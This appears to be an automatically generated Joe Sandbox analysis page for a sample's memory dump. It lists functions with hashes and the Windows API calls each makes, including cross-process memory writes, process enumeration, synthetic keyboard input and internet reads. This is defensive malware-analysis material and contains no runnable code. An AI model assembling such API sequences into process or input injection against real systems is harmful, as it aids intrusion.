Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .Z
API String ID: 2434981716-572057124
Opcode ID: 93be402df1fb2c51bb022c3c1e27016671aa605bf9ab7ea5e6b2d90e82c5d472
Instruction ID: 5c14c94a044e1c9edec29e97460b569d58eeaf23cfca8792a7bf1da284f4b41a
Opcode Fuzzy Hash: 93be402df1fb2c51bb022c3c1e27016671aa605bf9ab7ea5e6b2d90e82c5d472
Instruction Fuzzy Hash: 31416B70604145AFDB249F24DC91AFD7FAAFB85314F28A599E84587242DE31EC02D750

Function 005E2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005EB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,005E21D0,?,?,00000034,00000800,?,00000034), ref: 005EB42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 005E2760

Part of subcall function 005EB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,005E21FF,?,?,00000800,?,00001073,00000000,?,?), ref: 005EB3F8

Part of subcall function 005EB32A: GetWindowThreadProcessId.USER32(?,?), ref: 005EB355
Part of subcall function 005EB32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,005E2194,00000034,?,?,00001004,00000000,00000000), ref: 005EB365
Part of subcall function 005EB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,005E2194,00000034,?,?,00001004,00000000,00000000), ref: 005EB37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005E27CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005E281A

Strings

@, xrefs: 005E2832

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: a96e8d7ef954b34a0776a2bdc1c07f95d71b7ff4b2b7a447f73065c797803813
Instruction ID: c68494e4d9bc6e54f7e1b7eb1379702a274da687c97c5fd876ff12f9c3cee139
Opcode Fuzzy Hash: a96e8d7ef954b34a0776a2bdc1c07f95d71b7ff4b2b7a447f73065c797803813
Instruction Fuzzy Hash: 07414E72900219AFDB14DFA5CD46AEEBBB8FF49300F104059FA95B7181DB706E45CBA1

Function 005EC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 005EC306
DeleteMenu.USER32(?,00000007,00000000), ref: 005EC34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00651990,017647D8), ref: 005EC395

Strings

0, xrefs: 005EC2DF

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 995c9453c02c33026440996aab638056b518bfc5921d57d1d6d24e001eaf0d3f
Instruction ID: 136d7a53cf1b80d918891fe73cf089572584a3cdaa6f5e6092a1471f801afbe1
Opcode Fuzzy Hash: 995c9453c02c33026440996aab638056b518bfc5921d57d1d6d24e001eaf0d3f
Instruction Fuzzy Hash: DB4181312043829FD728DF26D845F5ABFE4BB89320F148A5EF9A5972D1D730E905CB62

Function 00614416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0061CC08,00000000,?,?,?,?), ref: 006144AA
GetWindowLongW.USER32 ref: 006144C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 006144D7

Strings

SysTreeView32, xrefs: 0061447C

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 4104da12d028ff3002f8889672e28e79c907f642dc299afdce5a26b3425316b5
Instruction ID: 34c5601596c2da8b12c8330cf5f5dc132e73338fc8de96e9c467a77f13a671fa
Opcode Fuzzy Hash: 4104da12d028ff3002f8889672e28e79c907f642dc299afdce5a26b3425316b5
Instruction Fuzzy Hash: B8317E71210605AFDB209E38DC45BEA7BAAEB48334F284715F975D32D0DB70AC919750

Function 005E6E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32(?,?), ref: 005E6EED
VariantCopyInd.OLEAUT32(?,?), ref: 005E6F08
VariantClear.OLEAUT32(?), ref: 005E6F12

Strings

*j^, xrefs: 005E6E8B, 005E6E90, 005E6EF8

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *j^
API String ID: 2173805711-3646612986
Opcode ID: c101e4549d0db77fb922999c5db8b4b2d992c35e66ed9792da0a1d28ff8bb3cd
Instruction ID: eeba85318ef57b711e4d9edef917438bcd2b7d47f2c1ef906e73679ba01322dc
Opcode Fuzzy Hash: c101e4549d0db77fb922999c5db8b4b2d992c35e66ed9792da0a1d28ff8bb3cd
Instruction Fuzzy Hash: 5131E471604286DFDB08BF65E8548BD3FB6FFA5380B100899F8625B2A1DB309951DBE0

Function 00614653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00614705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00614713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0061471A

Strings

msctls_updown32, xrefs: 00614684

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 3c038e1ba1e1f961d851a0d52d08f4d8b92c38966c79153359548abe1fcb008c
Instruction ID: 8a57a9c3cba967d190b7eb2a2c3d1f5bbbc5309f40f0ce8b1dfc38c63f7ecdf7
Opcode Fuzzy Hash: 3c038e1ba1e1f961d851a0d52d08f4d8b92c38966c79153359548abe1fcb008c
Instruction Fuzzy Hash: 1D215EB5600209AFDB10DF64DC95DEB37AEEB8A7A4B080059FA009B391CB70EC51CA60

Function 005F49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 005F4A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 005F4A5C
SetErrorMode.KERNEL32(00000000,?,?,0061CC08), ref: 005F4AD0

Strings

%lu, xrefs: 005F4A6F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: e9110343f81823d7bb376571634a3884dc1a32fe2fe74a0655555126be61508d
Instruction ID: 4cf54581ed94552cadfbee640ee6a3cd6d0c8db3d1d6266a7b0662dc7e734988
Opcode Fuzzy Hash: e9110343f81823d7bb376571634a3884dc1a32fe2fe74a0655555126be61508d
Instruction Fuzzy Hash: 38317F70A40109AFDB10EF54C885EAE7BF9FF48304F188099E905EB252D775ED45CB61

Function 005E007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b64deac0194f6197ea719cb482e14e717161823f34459efd9576b167028b00f2
Instruction ID: 15620ed257ce41d668924a4740713ef4027e4a4029efa946ecd9e91fa9474518
Opcode Fuzzy Hash: b64deac0194f6197ea719cb482e14e717161823f34459efd9576b167028b00f2
Instruction Fuzzy Hash: 9FC18D75A00246EFCB18CFA5C894EAEBBB5FF48314F209598E545EB291C771DD81CB90

Function 005E0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0061FC08,?), ref: 005E05F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0061FC08,?), ref: 005E0608
CLSIDFromProgID.OLE32(?,?,00000000,0061CC40,000000FF,?,00000000,00000800,00000000,?,0061FC08,?), ref: 005E062D
_memcmp.LIBVCRUNTIME ref: 005E064E

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: ee8c2d63b34ade15343acf86e46b931da9a2778521ec0aa8b0ab07bef8e66ab1
Instruction ID: 8b3768ba8599fc3515bd63aa929e9cb08425ba6c1a9755ec814fe3d6ba4e018b
Opcode Fuzzy Hash: ee8c2d63b34ade15343acf86e46b931da9a2778521ec0aa8b0ab07bef8e66ab1
Instruction Fuzzy Hash: 38813C71A00109EFCB04DF94C984EEEBBB9FF89315F204559E546AB290DB71AE46CF60

Function 0060A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0060A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 0060A6BA

Part of subcall function 00589CB3: _wcslen.LIBCMT ref: 00589CBD

Process32NextW.KERNEL32(00000000,?), ref: 0060A79C
CloseHandle.KERNEL32(00000000), ref: 0060A7AB

Part of subcall function 0059CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,005C3303,?), ref: 0059CE8A

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 2a9186d50b3976539e377d7cf5640ffcbb1872b21b9a7b2a561564fdb04ae6fe
Instruction ID: 8c0b3bfa15406804a5fb84f1593fe1924ff4c6e053659d1901529f20e85bfe7e
Opcode Fuzzy Hash: 2a9186d50b3976539e377d7cf5640ffcbb1872b21b9a7b2a561564fdb04ae6fe
Instruction Fuzzy Hash: 8C516E71548301AFD714EF24C88AA6BBBE9FFC9754F00891DF985A7291EB30D904CB92

Function 00616278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 006162E2
ScreenToClient.USER32(?,?), ref: 00616315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00616382

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 664c8a50f28365d42ff403788347b72001b8f27606cf719c5c8575d13b243dd8
Instruction ID: 006f47a2f9a5aaf18b66bf4e2fab7c2f5cff4be84413cefa900a15807c8074e8
Opcode Fuzzy Hash: 664c8a50f28365d42ff403788347b72001b8f27606cf719c5c8575d13b243dd8
Instruction Fuzzy Hash: CC51FA78A00209EFDB10DF64D881AEE7BB6EF55360F149159F9259B2A0D770AD81CB90

Function 005EAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 005EABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 005EAC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 005EAC74
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 005EACC6

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: b73ae6c7ad8746a221e8d11696f77fe4729373394ada594c058c833af57cd280
Instruction ID: c31a574c5f9fc961be775b501637899ac96fda14e7d8d62d6fb3427336d3a089
Opcode Fuzzy Hash: b73ae6c7ad8746a221e8d11696f77fe4729373394ada594c058c833af57cd280
Instruction Fuzzy Hash: 8B311A30940398AFFF398B7688047FE7F657B85310F28461AF4C9521D0C374AD858752

Function 00612782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0061280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00612824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00612832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00612840

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 10d912f3b97437eb59a207af1b2721419fa2da3fa304d54c1300ed19bcaf0ec3
Instruction ID: 1cb7d1095b753ea64553c6888ff4f4bcf7738032170d6a2b26a26941357c4f90
Opcode Fuzzy Hash: 10d912f3b97437eb59a207af1b2721419fa2da3fa304d54c1300ed19bcaf0ec3
Instruction Fuzzy Hash: E521A131204512AFD7149B24C855FEA7B9BAF85328F188159F826CB6E2C771FC92C7D0

Function 005FCE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 005FCE89
GetLastError.KERNEL32(?,00000000), ref: 005FCEEA
SetEvent.KERNEL32(?,?,00000000), ref: 005FCEFE

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 0e57d7be7a0e518f775bd5f854976b85f17ba08eabab43d73b27cd8e2c839af7
Instruction ID: cf83f68e24155864b6ce8ce86c2136c50ea2800173a4301536b92d9d07bffd4b
Opcode Fuzzy Hash: 0e57d7be7a0e518f775bd5f854976b85f17ba08eabab43d73b27cd8e2c839af7
Instruction Fuzzy Hash: CA21AC7154030D9BDB21DF65CA48BAABFFDFF41314F10882AE74692151E778EA048B60

Function 005EE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 005EE1FD
MessageBoxW.USER32(?,?,?,?), ref: 005EE230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 005EE246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 005EE24D

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 7a2672b6b6542dce7225682cd6670c61a3bda6535d606b30dd4646a55e0e48df
Instruction ID: bf64ffadc2c10fc2798c7a9c60d4c7bb37ffcbb3035f4aca7ad927ea40aa727c
Opcode Fuzzy Hash: 7a2672b6b6542dce7225682cd6670c61a3bda6535d606b30dd4646a55e0e48df
Instruction Fuzzy Hash: ED112B7AD04394BBC705DFA89C1ABDE7FAEAB46321F048216F924D3290D6B0CD0487A0

Function 0058600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0058604C
GetStockObject.GDI32(00000011), ref: 00586060
SendMessageW.USER32(00000000,00000030,00000000), ref: 0058606A

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: d98b6f8203474c7a6d0e9eb1a8f0a938122f263840202287f5f201ea1cfd67e4
Instruction ID: 4c3f8bf1a9b51580ea73ed12dd2d0c10bb85f1c43b10f5f0cf0965c5335d930c
Opcode Fuzzy Hash: d98b6f8203474c7a6d0e9eb1a8f0a938122f263840202287f5f201ea1cfd67e4
Instruction Fuzzy Hash: 7211AD72101508FFEF129FA48C58EEABF6AFF083A4F045206FE0462110C7329C60DBA1

Function 005E2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 005E2DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 005E2DD6
GetCurrentThreadId.KERNEL32 ref: 005E2DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 005E2DE4

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 56b6e741028e7d1f3a19ef89598b615cbee2467684b9170669f76514c253f08f
Instruction ID: b1f4f9f2f6518765b484652d3d98908395f770af4a3b06d3caf94a3746ad94a9
Opcode Fuzzy Hash: 56b6e741028e7d1f3a19ef89598b615cbee2467684b9170669f76514c253f08f
Instruction Fuzzy Hash: 48E06DB15812247AD7241B639C0EEEB3E6DFB42BB1F045116B205D1084DAA08841D6F0

Function 00618863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00599639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00599693
Part of subcall function 00599639: SelectObject.GDI32(?,00000000), ref: 005996A2
Part of subcall function 00599639: BeginPath.GDI32(?), ref: 005996B9
Part of subcall function 00599639: SelectObject.GDI32(?,00000000), ref: 005996E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00618887
LineTo.GDI32(?,?,?), ref: 00618894
EndPath.GDI32(?), ref: 006188A4
StrokePath.GDI32(?), ref: 006188B2

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
